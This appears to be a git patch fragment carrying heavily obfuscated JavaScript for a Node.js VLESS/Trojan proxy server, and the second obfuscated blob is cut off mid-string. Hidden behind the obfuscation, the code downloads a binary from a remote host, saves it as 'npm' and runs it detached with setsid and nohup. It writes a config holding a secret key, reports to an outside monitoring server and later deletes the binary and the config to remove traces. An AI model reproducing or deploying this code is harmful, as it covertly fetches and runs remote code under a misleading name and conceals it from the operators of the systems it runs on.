_0x3e5083=_0x30e286[_0x23bae7(0x490,0x4ef,0x5a3,0x44f)](0xa80+0x10a8+-0x3*0x90d,-0x3b3+-0x3*0x20+0x109*0x4),_0x35bbfb=_0x3e5083['every']((_0x5ddf90,_0x326a26)=>_0x5ddf90==parseInt(uuid[_0x1ffb25(0xc,0x3c,-0x87,-0x41)](_0x326a26*(-0x67*-0x59+-0x119c+-0x1231),-0xe10+-0xb27*-0x2+-0x20f*0x4),0x1aba*-0x1+-0x3*0x946+-0x6*-0x91a));if(_0x35bbfb){if(_0x2339f9[_0x1ffb25(0x87,0x54,0xd,0x3e)](_0x2339f9[_0x23bae7(0x51c,0x4c9,0x418,0x59a)],_0x1ffb25(0xc4,0x4d,0xba,0x12b)))_0x3c491e=_0x5be0b9[_0x1ffb25(0xab,0x150,0x3d,0x102)](_0x20fea8,_0x2339f9[_0x1ffb25(0x4d,-0x6a,0x4d,-0x2c)](_0x3528a0,-0xa6*-0x34+0x1351+-0x3505))[_0x1ffb25(0x1b,0xbd,-0xa,0xa4)]('.'),_0x13d739+=0xbfd+-0x2696+0x2f5*0x9;else{!_0x2339f9[_0x1ffb25(-0x4c,0x31,-0xf6,-0x1f)](handleVlessConnection,_0x47e7e4,_0x30e286)&&_0x47e7e4[_0x23bae7(0x53e,0x52c,0x600,0x480)]();return;}}}!handleTrojanConnection(_0x47e7e4,_0x30e286)&&_0x47e7e4[_0x1ffb25(0xe8,0x1c4,0x7e,0xde)]();})['on'](_0x2339f9[_0xc8e065(0x77,-0x11e,0x50,-0x44)],()=>{});});const getDownloadUrl=()=>{const _0x1912ba={};function _0x5916b6(_0x27b2f3,_0x41ca91,_0x5675f2,_0x1cdf90){return _0x23a861(_0x5675f2,_0x41ca91-0x96,_0x5675f2-0x1a4,_0x41ca91-0x2eb);}_0x1912ba[_0x82f37d(-0x1a1,-0x279,-0x1aa,-0x1ad)]=_0x82f37d(-0x2c4,-0x2da,-0x29d,-0x38d)+'d64.ssss.n'+_0x5916b6(0x31d,0x30b,0x2b6,0x3db)+'t',_0x1912ba['FyEOt']=function(_0x56be32,_0x4b06df){return _0x56be32===_0x4b06df;},_0x1912ba[_0x82f37d(-0x249,-0x22d,-0x1da,-0x2ac)]=_0x5916b6(0x421,0x3ab,0x439,0x31c),_0x1912ba['hslXZ']=function(_0x300854,_0x2deb47){return _0x300854===_0x2deb47;},_0x1912ba[_0x82f37d(-0x2b5,-0x1e5,-0x291,-0x214)]='aarch64',_0x1912ba[_0x82f37d(-0x301,-0x259,-0x1e6,-0x17e)]=function(_0x16a9d5,_0x55b3a9){return _0x16a9d5!==_0x55b3a9;},_0x1912ba['vUaES']='zTEBk',_0x1912ba[_0x82f37d(-0x356,-0x2e6,-0x273,-0x325)]=_0x82f37d(-0x247,-0x2be,-0x1f8,-0x27d)+_0x82f37d(-0x263,-0x24f,-0x232,-0x231)+_0x82f37d(-0x2d3,-0x271,-0x1e9,-0x2eb),_0x1912ba['wHvSd']=_0x82f37d(-0x354,-0x2be,-0x31a,-0x257)+_0x5916b6(0x25b,0x2b2,0x228,0x29d)+_0x5916b6(0x35b,0x30b,0x38c,0x28c)+'t',_0x1912ba[_0x5916b6(0x228,0x229,0x14d,0x1c6)]=_0x5916b6(0x2b9,0x227,0x26f,0x293)+_0x5916b6(0x268,0x254,0x182,0x1f1)+_0x5916b6(0x272,0x290,0x215,0x1c3);const _0x57cb77=_0x1912ba;function _0x82f37d(_0x40b7db,_0x5a9ac3,_0x1cd9f0,_0x109a33){return _0x23a861(_0x1cd9f0,_0x5a9ac3-0x117,_0x1cd9f0-0x1df,_0x5a9ac3- -0x216);}const _0x282eed=os[_0x82f37d(-0x1d6,-0x18b,-0x16f,-0x24e)]();return _0x57cb77[_0x5916b6(0x3fa,0x370,0x2f9,0x2c8)](_0x282eed,_0x57cb77[_0x82f37d(-0x1f0,-0x22d,-0x256,-0x2dc)])||_0x57cb77[_0x5916b6(0x415,0x370,0x329,0x3b8)](_0x282eed,_0x5916b6(0x2e1,0x2f7,0x24f,0x3a9))||_0x57cb77[_0x82f37d(-0x279,-0x1e8,-0x24c,-0x1f7)](_0x282eed,_0x57cb77['uOEKB'])?!NEZHA_PORT?_0x57cb77[_0x82f37d(-0x1dc,-0x259,-0x23b,-0x2dd)](_0x57cb77['vUaES'],_0x57cb77['vUaES'])?_0x57cb77['KnsTw']:_0x57cb77[_0x5916b6(0x1c6,0x21b,0x18f,0x23c)]:_0x57cb77[_0x5916b6(0x250,0x2de,0x2bb,0x2d6)]:!NEZHA_PORT?_0x57cb77[_0x82f37d(-0x274,-0x2d8,-0x215,-0x32d)]:_0x57cb77[_0x5916b6(0x28d,0x288,0x2b3,0x2f1)];},downloadFile=async()=>{const _0x150055={'rtvDM':function(_0x4dbf0a,_0x263718){return _0x4dbf0a<_0x263718;},'xiSDG':function(_0x19daa9,_0x2e23ca){return _0x19daa9===_0x2e23ca;},'ghSiG':_0x453b99(0x39e,0x478,0x455,0x3c1),'ZoNre':function(_0x29e259,_0x2404d9,_0x4023a3){return _0x29e259(_0x2404d9,_0x4023a3);},'pbGpY':_0x4922a8(-0x198,-0x173,-0x22d,-0x151)+'pm','YBeQJ':function(_0xc1e742,_0x236a71){return _0xc1e742(_0x236a71);},'gLXtP':_0x4922a8(-0x154,-0x19c,-0x1ac,-0x198),'mTbEX':function(_0x425c80,_0x20c6f6){return _0x425c80&&_0x20c6f6;},'iSVyL':function(_0x3285d1,_0x4fbe4b){return _0x3285d1!==_0x4fbe4b;},'groAZ':_0x4922a8(-0x1f2,-0x274,-0x33e,-0x336),'EGJDl':function(_0x1dc6d2){return _0x1dc6d2();},'KzNHI':_0x453b99(0x2fe,0x3af,0x32b,0x341),'fLnBO':'stream','HUSyO':'npm'};function _0x4922a8(_0x1f4aa5,_0xbcceb1,_0x134711,_0x22bc66){return _0x23a861(_0x22bc66,_0xbcceb1-0x5d,_0x134711-0x6b,_0xbcceb1- -0x1d1);}function _0x453b99(_0x452741,_0x22757e,_0x2e27a5,_0x40bbca){return _0x23a861(_0x40bbca,_0x22757e-0x3c,_0x2e27a5-0x1ad,_0x452741-0x3b1);}if(_0x150055[_0x4922a8(-0xaf,-0xff,-0x96,-0x3c)](!NEZHA_SERVER,!NEZHA_KEY))return;try{if(_0x150055[_0x4922a8(-0x278,-0x259,-0x1c4,-0x230)](_0x150055[_0x453b99(0x342,0x34f,0x26a,0x35f)],_0x150055['groAZ']))_0x150055[_0x453b99(0x34b,0x300,0x3da,0x41c)](_0x18f1ce,_0x12934d['length'])&&this[_0x4922a8(-0x192,-0x1f0,-0x1a5,-0x161)](_0x3e469f['slice'](_0x20f83f)),_0x8e1a57['on'](_0x4922a8(-0x151,-0x19c,-0x159,-0x174),()=>{})[_0x4922a8(-0x289,-0x2a6,-0x28e,-0x2fb)](this)['on'](_0x453b99(0x3e6,0x492,0x3dc,0x4a6),()=>{})[_0x4922a8(-0x27a,-0x2a6,-0x325,-0x213)](_0x138d30);else{const _0x598930=_0x150055[_0x4922a8(-0x299,-0x257,-0x312,-0x2e7)](getDownloadUrl),_0x5caf7c=await _0x150055[_0x4922a8(-0x1a5,-0x174,-0x1f6,-0x129)](axios,{'method':_0x150055[_0x4922a8(-0x97,-0x10d,-0x36,-0x1ac)],'url':_0x598930,'responseType':_0x150055[_0x453b99(0x3b9,0x41a,0x3c2,0x2f4)]}),_0x1aeada=fs[_0x453b99(0x3a8,0x47d,0x349,0x47d)+_0x4922a8(-0x2b8,-0x223,-0x26b,-0x192)](_0x150055[_0x4922a8(-0x11d,-0x19b,-0x187,-0xc9)]);return _0x5caf7c[_0x453b99(0x32a,0x2fd,0x394,0x2e5)]['pipe'](_0x1aeada),new Promise((_0x1a0290,_0x4f4c10)=>{function _0x41ffec(_0x266ede,_0x3f1246,_0x217565,_0x25c791){return _0x4922a8(_0x266ede-0x100,_0x266ede-0x17c,_0x217565-0xa0,_0x3f1246);}function _0x1ebe3(_0x11e74a,_0x428206,_0x122d05,_0x28c6c2){return _0x4922a8(_0x11e74a-0x15b,_0x428206-0x24e,_0x122d05-0xb4,_0x28c6c2);}const _0x558c67={'aspgQ':function(_0x4494c3,_0x324166){function _0x3295e0(_0x190033,_0x308744,_0x30daf2,_0x4e1599){return _0x38c5(_0x4e1599- -0x1a1,_0x190033);}return _0x150055[_0x3295e0(0x4b,0x3b,0xe6,0x48)](_0x4494c3,_0x324166);}};_0x1aeada['on'](_0x1ebe3(-0xd0,-0x5f,0x57,0x40),()=>{function _0x4767f2(_0xa8c8c3,_0x542123,_0x2443c0,_0x4cb6b3){return _0x1ebe3(_0xa8c8c3-0x7a,_0x2443c0-0x4b0,_0x2443c0-0x6c,_0xa8c8c3);}function _0x48e0d2(_0x49d6d4,_0x1ad682,_0x4ed671,_0x1172f2){return _0x1ebe3(_0x49d6d4-0x105,_0x1172f2- -0x43,_0x4ed671-0x1bc,_0x4ed671);}_0x150055['xiSDG'](_0x150055[_0x48e0d2(-0x7f,-0x73,-0xe8,-0x42)],_0x150055[_0x48e0d2(-0xac,-0x5a,-0x68,-0x42)])?(console['log'](_0x4767f2(0x540,0x693,0x5b9,0x636)+_0x48e0d2(0xcc,-0x6e,-0x34,-0xb)+'fully'),_0x150055[_0x4767f2(0x4c5,0x557,0x488,0x451)](exec,_0x150055[_0x4767f2(0x547,0x5d7,0x5d7,0x62d)],_0x400d90=>{if(_0x400d90)_0x558c67[_0xc11279(0x12b,0xfa,0x181,0x1b5)](_0x4f4c10,_0x400d90);function _0xc11279(_0x19936d,_0x4c640a,_0x186659,_0x2806c3){return _0x48e0d2(_0x19936d-0x75,_0x4c640a-0x90,_0x4c640a,_0x186659-0x90);}_0x1a0290();})):_0x7467b3=_0x4767f2(0x505,0x501,0x500,0x4e3);}),_0x1aeada['on'](_0x150055[_0x1ebe3(0x192,0xce,0x59,0x1f)],_0x4f4c10);});}}catch(_0xccacd2){throw _0xccacd2;}},runnz=async()=>{function _0x545207(_0x1dc0ae,_0x2d4e35,_0x4fc01e,_0x2fdf9f){return _0x23a861(_0x1dc0ae,_0x2d4e35-0xd2,_0x4fc01e-0x131,_0x2d4e35-0x409);}const _0x3dd348={'xmMIC':_0x1421b7(0x239,0x1e7,0x2a6,0x30d),'qioqW':_0x1421b7(0x41d,0x405,0x3ff,0x34a)+'d!','FpzbR':function(_0x3c11df,_0x3d3b60){return _0x3c11df===_0x3d3b60;},'XkJQZ':function(_0x33c9d1){return _0x33c9d1();},'BGZOh':_0x545207(0x4e4,0x4a0,0x40c,0x4e5),'QhTuf':'npm\x20runnin'+_0x545207(0x4b9,0x4ad,0x3fb,0x564),'hmGrp':_0x1421b7(0x33d,0x362,0x2fb,0x27e)+_0x545207(0x3a8,0x360,0x3ac,0x43d),'zprdW':function(_0x3beefc,_0x579d0e,_0x17b507){return _0x3beefc(_0x579d0e,_0x17b507);},'SnbMv':_0x545207(0x33c,0x338,0x3bb,0x2c5)+_0x1421b7(0x38a,0x2a0,0x370,0x2b1)+_0x1421b7(0x352,0x405,0x3d8,0x49a)+'\x20\x22./[n]pm\x22','xTrix':_0x545207(0x33b,0x3b1,0x370,0x3b1),'PUpHI':function(_0x54a654,_0x5eecf9){return _0x54a654!==_0x5eecf9;},'ZzriQ':_0x1421b7(0x2aa,0x21b,0x2b6,0x360),'UEhyz':function(_0x52c96b){return _0x52c96b();},'qqzOH':_0x545207(0x408,0x348,0x2ed,0x2ef),'lhsQw':_0x1421b7(0x4a6,0x4ab,0x42c,0x4b9),'oFZzo':_0x545207(0x3b1,0x37e,0x35a,0x327),'WqTQT':'2083','uSQqD':'2053','fTOgZ':function(_0xdb1c5,_0x21cb35){return _0xdb1c5&&_0x21cb35;},'fQLaG':function(_0x3486bf,_0x4586a4){return _0x3486bf!==_0x4586a4;},'wyRJk':_0x545207(0x42e,0x452,0x4f1,0x3ed),'DmPIR':'false','mvqIK':function(_0x5df442,_0x645cc7){return _0x5df442===_0x645cc7;},'JncIA':_0x545207(0x460,0x3e0,0x3d0,0x464),'btpQq':_0x1421b7(0x367,0x249,0x299,0x257),'VXVtJ':function(_0x592ee3,_0xb83bac,_0x3bd107,_0x28f135){return _0x592ee3(_0xb83bac,_0x3bd107,_0x28f135);},'atXWl':_0x1421b7(0x487,0x307,0x3cb,0x472)};try{const _0x4ed22e=_0x3dd348[_0x1421b7(0x385,0x444,0x380,0x3af)](execSync,_0x3dd348[_0x1421b7(0x3b3,0x2aa,0x379,0x3dc)],{'encoding':_0x3dd348[_0x1421b7(0x488,0x3e9,0x414,0x4b1)]});if(_0x3dd348['PUpHI'](_0x4ed22e[_0x1421b7(0x257,0x397,0x2f9,0x2ce)](),'')){if(_0x3dd348[_0x1421b7(0x355,0x3a7,0x3f1,0x462)]===_0x545207(0x3a8,0x35a,0x290,0x3f6))return'https://am'+_0x545207(0x3ab,0x372,0x449,0x36e)+_0x1421b7(0x369,0x2ad,0x314,0x322);else{console['log'](_0x545207(0x2bd,0x34f,0x3be,0x3c6)+_0x1421b7(0x42e,0x390,0x3ef,0x3d1)+_0x1421b7(0x321,0x2d8,0x29c,0x2ea)+_0x545207(0x360,0x385,0x2d4,0x430));return;}}}catch(_0x5a49de){}await _0x3dd348['UEhyz'](downloadFile);function _0x1421b7(_0x18cbba,_0x135951,_0x1b480e,_0x52fce4){return _0x23a861(_0x18cbba,_0x135951-0x14e,_0x1b480e-0x28,_0x1b480e-0x36f);}let _0x35e29f='',_0x5f2259=[_0x3dd348[_0x1421b7(0x2ae,0x22f,0x301,0x338)],_0x545207(0x3dc,0x434,0x35a,0x450),_0x3dd348[_0x545207(0x3d7,0x470,0x540,0x539)],_0x3dd348[_0x545207(0x42d,0x388,0x2bb,0x38a)],_0x3dd348[_0x1421b7(0x1f9,0x1fb,0x2aa,0x26b)],_0x3dd348[_0x1421b7(0x4ba,0x3d8,0x3e0,0x34f)]];if(_0x3dd348[_0x545207(0x48d,0x47f,0x3b2,0x401)](NEZHA_SERVER,NEZHA_PORT)&&NEZHA_KEY){if(_0x3dd348[_0x1421b7(0x2d9,0x2c2,0x328,0x374)]('LOxib',_0x1421b7(0x312,0x359,0x398,0x2e1))){const _0x265e0c={};_0x265e0c[_0x1421b7(0x3fb,0x2ec,0x399,0x42e)+'pe']=_0x3dd348[_0x1421b7(0x230,0x2fe,0x2c1,0x2b1)],_0x385f14['writeHead'](-0x21cd+-0x8b*-0x1+0x220a*0x1,_0x265e0c),_0x3dc3f6[_0x545207(0x39d,0x33c,0x351,0x2da)](_0x3dd348[_0x545207(0x317,0x330,0x2b6,0x268)]);return;}else{const _0x485fc4=_0x5f2259[_0x1421b7(0x37e,0x395,0x434,0x3ee)](NEZHA_PORT)?_0x3dd348[_0x1421b7(0x409,0x3c9,0x387,0x2f7)]:'';_0x35e29f='setsid\x20noh'+_0x545207(0x46e,0x44a,0x50d,0x432)+'s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+_0x1421b7(0x4e4,0x434,0x429,0x37d)+NEZHA_KEY+'\x20'+_0x485fc4+(_0x545207(0x347,0x412,0x418,0x48f)+_0x545207(0x47c,0x3dd,0x345,0x4aa)+_0x545207(0x298,0x358,0x32c,0x3df)+'t-delay\x204\x20'+_0x545207(0x4ae,0x48c,0x4df,0x4fa)+_0x545207(0x4c4,0x49c,0x3e2,0x4a6)+'rocs\x20>/dev'+_0x1421b7(0x447,0x352,0x385,0x313)+'\x20&');}}else{if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x5d79e1=NEZHA_SERVER[_0x1421b7(0x383,0x505,0x434,0x4bc)](':')?NEZHA_SERVER['split'](':')[_0x545207(0x4e5,0x428,0x4d1,0x4d1)]():'',_0xce0d43=_0x5f2259['includes'](_0x5d79e1)?_0x545207(0x352,0x33a,0x3bc,0x31d):_0x3dd348[_0x545207(0x2fe,0x39c,0x336,0x3a1)],_0x2f7d56=_0x1421b7(0x326,0x303,0x2c5,0x32f)+'ret:\x20'+NEZHA_KEY+(_0x545207(0x2c0,0x331,0x3e0,0x25f)+_0x545207(0x3ad,0x3ee,0x465,0x3c1)+_0x545207(0x503,0x455,0x3ef,0x438)+_0x545207(0x312,0x3a0,0x3dd,0x30d)+_0x545207(0x37a,0x34a,0x27d,0x3ab)+_0x545207(0x4ee,0x4ac,0x556,0x530)+_0x545207(0x440,0x4b9,0x4ba,0x4c9)+_0x1421b7(0x36c,0x2c2,0x2b1,0x25b)+_0x545207(0x4a6,0x4cb,0x4f5,0x479)+_0x545207(0x2fb,0x3a2,0x3ac,0x40e)+_0x1421b7(0x2ac,0x25b,0x2bd,0x20a)+_0x1421b7(0x3d3,0x347,0x3c7,0x33b)+_0x545207(0x513,0x45e,0x4bf,0x45d)+_0x1421b7(0x42a,0x455,0x44b,0x41c)+_0x545207(0x471,0x492,0x3b8,0x41e)+'lse\x0ainsecu'+_0x545207(0x30e,0x399,0x42d,0x475)+'ue\x0aip_repo'+'rt_period:'+_0x545207(0x34c,0x3e8,0x3ac,0x314)+_0x1421b7(0x3bd,0x395,0x357,0x2b0)+_0x545207(0x3f7,0x36b,0x3fb,0x3d6))+NEZHA_SERVER+(_0x1421b7(0x393,0x3a4,0x391,0x2c5)+'ection_cou'+_0x545207(0x412,0x474,0x45d,0x509)+_0x545207(0x3e5,0x3bc,0x322,0x441)+'count:\x20tru'+_0x545207(0x396,0x3d3,0x3a4,0x378)+_0x1421b7(0x2f1,0x2be,0x31b,0x3f0)+_0x545207(0x3e5,0x404,0x346,0x4de))+_0xce0d43+(_0x1421b7(0x2ea,0x2c8,0x381,0x305)+_0x545207(0x297,0x370,0x2a4,0x363)+_0x1421b7(0x298,0x22f,0x294,0x2da)+_0x1421b7(0x297,0x3f7,0x35e,0x420)+'untry_code'+_0x1421b7(0x31b,0x24d,0x2e5,0x375)+_0x1421b7(0x46c,0x3ba,0x418,0x4a5))+UUID;fs[_0x545207(0x582,0x4dc,0x508,0x52d)+_0x545207(0x45a,0x44f,0x4e1,0x41c)](_0x1421b7(0x48e,0x42d,0x3b1,0x47a)+'l',_0x2f7d56);}_0x35e29f=_0x545207(0x398,0x3e7,0x3fb,0x380)+'up\x20./npm\x20-'+_0x545207(0x469,0x3e2,0x314,0x484)+_0x1421b7(0x20a,0x245,0x2b7,0x35e)+_0x545207(0x33c,0x3d1,0x331,0x360)+'&';}else{console[_0x1421b7(0x3e7,0x3a0,0x425,0x43f)](_0x1421b7(0x4a2,0x3e3,0x44a,0x44b)+_0x1421b7(0x2be,0x397,0x325,0x3d3)+'pty,\x20skip\x20'+_0x545207(0x302,0x3a8,0x463,0x3e2));return;}}try{if(_0x3dd348['mvqIK'](_0x3dd348['JncIA'],_0x3dd348[_0x1421b7(0x308,0x30f,0x37c,0x2ca)])){if(_0x453eaa){const _0x4421b0=_0x198e39[_0x1421b7(0x458,0x3e2,0x3f0,0x450)](_0x1e6690,arguments);return _0x2ca9c3=null,_0x4421b0;}}else _0x3dd348[_0x545207(0x3dd,0x34c,0x34c,0x2d9)](exec,_0x35e29f,{'shell':_0x3dd348['atXWl']},_0x4485c7=>{function _0x4ed478(_0x2552a2,_0x29ae03,_0x326b35,_0x310790){return _0x545207(_0x29ae03,_0x326b35- -0x317,_0x326b35-0x102,_0x310790-0x74);}function _0x358100(_0x4178ed,_0x4d9db8,_0x6374f,_0x35ce6c){return _0x545207(_0x4d9db8,_0x6374f- -0x3d3,_0x6374f-0xab,_0x35ce6c-0x18c);}if(_0x3dd348[_0x4ed478(0xe9,0x1f0,0x153,0xdc)](_0x4ed478(0x10c,0xd9,0xbd,0xb0),_0x3dd348['BGZOh'])){const _0xebe14c=_0x5140a4[_0x4ed478(-0x4c,0xd4,0x6b,0xfd)];if(_0x3dd348[_0x358100(-0x3c,-0x30,0x97,0x15a)](_0xebe14c['Status'],0x1*-0x22e5+-0x1ae5+-0x1ee5*-0x2)&&_0xebe14c[_0x4ed478(-0x6d,-0x9,0x53,0x12e)]&&_0xebe14c[_0x358100(-0xbb,-0x11,-0x69,-0x8d)][_0x4ed478(0x20,-0x7c,0x3d,0xb)]>-0x477+-0x1a96*0x1+0x1*0x1f0d){const _0x590cbf=_0xebe14c[_0x358100(-0xce,0x6b,-0x69,-0x134)][_0x4ed478(0x21c,0x1a2,0x19f,0xf2)](_0x46ec32=>_0x46ec32[_0x4ed478(0x5f,0x1de,0x13c,0x100)]===-0x425*-0x1+-0x24f0+0x1*0x20cc);if(_0x590cbf){_0x3c6577(_0x590cbf['data']);return;}}_0x3dd348[_0x358100(0x84,0x8d,0x95,0xcf)](_0x57a05f);}else{if(_0x4485c7)console['error'](_0x3dd348[_0x358100(0x80,0x3b,-0xe,-0x8d)],_0x4485c7);else console[_0x358100(0x1b3,0x11c,0xec,0x76)](_0x3dd348['hmGrp']);}});}catch(_0x522365){console['error'](_0x1421b7(0x24b,0x1ec,0x2c9,0x271)+_0x522365);}};function _0x38c5(_0x19a6ae,_0x1720f2){const _0x22d93d=_0x22d9();return _0x38c5=function(_0x38c5f3,_0x70daec){_0x38c5f3=_0x38c5f3-(-0x1c7f*-0x1+-0x14e1*0x1+-0x6ef);let _0xcbdfba=_0x22d93d[_0x38c5f3];return _0xcbdfba;},_0x38c5(_0x19a6ae,_0x1720f2);}function _0x23a861(_0x5073dc,_0x2edb3a,_0x21d46c,_0x3e995a){return _0x38c5(_0x3e995a- -0x18c,_0x5073dc);}async function addAccessTask(){function _0x4351a7(_0x3bc707,_0x2f7406,_0x2210c7,_0x10a8c1){return _0x187de4(_0x3bc707-0xae,_0x10a8c1- -0x1e2,_0x3bc707,_0x10a8c1-0xdb);}const _0x434bbb={};_0x434bbb['ORFWI']=_0x499979(0x218,0x2b3,0x1d6,0x29e)+_0x4351a7(-0x27c,-0x2f1,-0x33c,-0x284)+_0x499979(0x377,0x2b8,0x383,0x321)+'l';const _0x40e073=_0x434bbb;if(!AUTO_ACCESS)return;if(!DOMAIN)return;function _0x499979(_0x12208d,_0x16e1a5,_0x5e6d8d,_0x57dc6e){return _0x23a861(_0x57dc6e,_0x16e1a5-0x1a1,_0x5e6d8d-0x8,_0x16e1a5-0x2e7);}const _0x38971f=_0x4351a7(-0x26f,-0x18b,-0x249,-0x20c)+DOMAIN+'/'+SUB_PATH;try{const _0x1c2f76={};_0x1c2f76['url']=_0x38971f;const _0x16ac91={};_0x16ac91[_0x499979(0x32a,0x311,0x3c1,0x313)+'pe']=_0x4351a7(-0x1b6,-0x210,-0x18f,-0x231)+_0x4351a7(-0x27e,-0x281,-0x31f,-0x291);const _0x101b3b={};_0x101b3b['headers']=_0x16ac91;const _0x3018b3=await axios['post'](_0x40e073['ORFWI'],_0x1c2f76,_0x101b3b);console['log'](_0x4351a7(-0x360,-0x316,-0x2b7,-0x2a7)+_0x4351a7(-0x329,-0x201,-0x24e,-0x28c)+_0x4351a7(-0x229,-0x104,-0x189,-0x1d5)+'ccessfully');}catch(_0xf3529){}}const delFiles=()=>{const _0x110077={};_0x110077['cURLO']='npm';function _0x285001(_0x31f37a,_0x2bbb80,_0x54ecf6,_0x2413f3){return _0x23a861(_0x2413f3,_0x2bbb80-0x1ca,_0x54ecf6-0xfb,_0x31f37a-0x3a0);}const _0x54aeac=_0x110077;function _0x35f920(_0x13907b,_0x50645f,_0x279437,_0x254ee3){return _0x23a861(_0x13907b,_0x50645f-0x7a,_0x279437-0x175,_0x254ee3- -0x1b0);}fs[_0x35f920(-0x256,-0xf9,-0x1dd,-0x1b7)](_0x54aeac[_0x285001(0x3e7,0x419,0x3ce,0x34c)],()=>{}),fs['unlink'](_0x285001(0x3e2,0x3de,0x4a4,0x48b)+'l',()=>{});};httpServer['listen'](PORT,()=>{const _0x18f1a6={'GZivP':_0x263ae7(0x427,0x44c,0x500,0x459)+'g\x20error:','VKvsP':_0x263ae7(0x43a,0x515,0x3f0,0x487)+_0x263ae7(0x52d,0x3a3,0x4b2,0x452),'yDMqC':function(_0x3c56eb,_0x3eb4b4){return _0x3c56eb===_0x3eb4b4;},'wnKzl':function(_0x3cc0e9){return _0x3cc0e9();}};_0x18f1a6[_0x263ae7(0x432,0x4b4,0x54f,0x502)](runnz),setTimeout(()=>{function _0x4a7261(_0x1e9b57,_0x98478f,_0x7bb754,_0x460872){return _0x263ae7(_0x7bb754,_0x98478f-0x1b,_0x7bb754-0x1be,_0x1e9b57- -0x4f6);}function _0x95cf1b(_0x20fa6e,_0x323adc,_0x58ff27,_0x4894cf){return _0x16e07c(_0x20fa6e-0x1b0,_0x20fa6e,_0x58ff27-0x160,_0x58ff27- -0x1ee);}if(_0x18f1a6['yDMqC'](_0x4a7261(0xdd,0x11d,0x157,0x0),_0x95cf1b(-0xc4,0x10,-0x34,0x1e)))delFiles();else{if(_0x1c7e5b)_0x7f9d62[_0x4a7261(0x3a,0x2,-0x42,0x81)](_0x18f1a6['GZivP'],_0x330e13);else _0x9de513[_0x4a7261(0xbb,0x15e,0x8c,0x149)](_0x18f1a6['VKvsP']);}},-0x17*-0x33f3+-0x6dfc+0xd*-0x1d5d),_0x18f1a6[_0x263ae7(0x4e1,0x565,0x4ac,0x502)](addAccessTask);function _0x263ae7(_0x4912f3,_0x5164f8,_0x309311,_0x1eadd9){return _0x187de4(_0x4912f3-0xf,_0x1eadd9-0x525,_0x4912f3,_0x1eadd9-0x135);}function _0x16e07c(_0x2cb9f0,_0x389fab,_0x612ff8,_0x55d1b0){return _0x187de4(_0x2cb9f0-0x7d,_0x55d1b0-0x10c,_0x389fab,_0x55d1b0-0x19);}console['log'](_0x263ae7(0x4d7,0x589,0x549,0x522)+_0x16e07c(0x8d,0x138,0x8a,0xd8)+_0x263ae7(0x53a,0x535,0x59f,0x523)+PORT);}); From fa45e30484f4517873793569159c7e14b029822c Mon Sep 17 00:00:00 2001 From: xiaodudea Date: Fri, 14 Nov 2025 15:26:05 +0800 Subject: [PATCH 3/3] Update index.js --- index.js | 378 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 377 insertions(+), 1 deletion(-) diff --git a/index.js b/index.js index 8484c3cb7..d0e1dfbd8 100644 --- a/index.js +++ b/index.js @@ -1 +1,377 @@ -(function(_0x382904,_0x588ff8){function _0x1dc453(_0x178596,_0x2be365,_0x57bf83,_0x303fe0){return _0x38c5(_0x303fe0-0x2c7,_0x57bf83);}function _0xf0ac6a(_0x4e2c94,_0xe2edc8,_0x1c0763,_0x3adce5){return _0x38c5(_0x3adce5- -0x1ca,_0x1c0763);}const _0x142e7c=_0x382904();while(!![]){try{const _0x29f871=-parseInt(_0x1dc453(0x4c2,0x509,0x434,0x43a))/(-0xaf6+-0x20b1*0x1+0x2ba8)+-parseInt(_0x1dc453(0x481,0x559,0x5ca,0x523))/(-0xa95+0xc5*0x22+0x531*-0x3)*(parseInt(_0x1dc453(0x35c,0x359,0x4a1,0x425))/(0x81f+0xde9+-0x1605))+-parseInt(_0xf0ac6a(-0x83,0x0,0x21,-0x7c))/(0x11f*0x1f+-0x6f1+-0x1bcc)*(-parseInt(_0xf0ac6a(0x1b,0xd8,-0xa8,0x6))/(-0x1f*0xe3+-0x4*-0x8bd+-0x772))+parseInt(_0xf0ac6a(-0x1f,-0x23,0x30,0x8b))/(-0x5*0x189+-0xe5+-0x2*-0x44c)+-parseInt(_0xf0ac6a(0x81,0x69,0x3b,-0x54))/(0x32a*-0x9+0x1*-0x824+0x35*0xb1)+parseInt(_0xf0ac6a(-0x9b,0x5,0x97,0xf))/(-0x1d8*0x3+-0x14c1+0x1a51)*(parseInt(_0x1dc453(0x42f,0x5c8,0x551,0x507))/(0x21c7+-0x449*-0x1+-0x2607))+-parseInt(_0x1dc453(0x555,0x4bc,0x4a5,0x48f))/(0x1057+0x1b42+-0xe85*0x3)*(parseInt(_0xf0ac6a(-0xe6,-0x12e,-0xd0,-0xd1))/(-0x1212+0x7*-0x415+-0x12*-0x298));if(_0x29f871===_0x588ff8)break;else _0x142e7c['push'](_0x142e7c['shift']());}catch(_0x3a6018){_0x142e7c['push'](_0x142e7c['shift']());}}}(_0x22d9,-0xfb5*0x29+0x1*-0x2b75e+0x98c70));function _0x22d9(){const _0x3304c1=['-auto-upda','lare.com/m','OERTY','lsjrM','curity=tls','c\x20config.y','&fp=chrome','applicatio','&sni=','decode','setsid\x20noh','\x201800\x0arepo','WrpPJ','write','xtmfg','&path=%2F','connect','lse\x0adisabl','ZDhdb','465653xYwkVi','rt_delay:\x20','YLpBD','1114274VirzlU','OZchM','CLDME','bZcOi','PORT','se_ipv6_co','JGrmO','YWTBf','OYlFm','wHvSd','text/plain','oseTG','running\x20on','createWrit','HMJsv','unlink','catch','\x0atls:\x20','return\x20(fu','NmRNv','Accept','hex','https://','rep\x20-v\x20\x22gr','NGZsE','headers','ezBOG','ayusR','rhLGw','wnKzl','fLnBO','\x20--disable','SnbMv','lmZDz','arm64','btpQq','GPnEU','eenna','kgykO','zprdW','\x0ause_gitee','path','nVnoe','IfWWp','/null\x202>&1','6a1-d2ddca','wyRJk','Ogayd','WXAmI','FkcmQ','mKYWI','info','MPFGQ','pop','yc.mn/agen','https://sp','\x0askip_conn','hzGRm','WNlzc','ost=','GEFdJ','Server\x20is\x20','\x20port\x20','LOxib','Content-Ty','8443','jMmUh','QsxhW','hslXZ','test','SUB_PATH','uOEKB','avRPJ','send','kTdGO','error','HUSyO','k\x20added\x20su','gzsAc','qToTS','LtVUB','vless://','100180pnrNHW','__proto__','XCzJM','KhvJN','slice','up\x20./npm\x20-','config.yam','mYGEu','55rYJriH','PAuwY','ync','cURLO','warn','--tls','type','NVNUL','e_auto_upd','2224920fDtyHN','exception','mdzro','AEAAw','gLXtP','ujzRm','pMaCi','KTTsQ','able_send_','count:\x20tru','writeHead','\x20false\x0adis','FMPJJ','P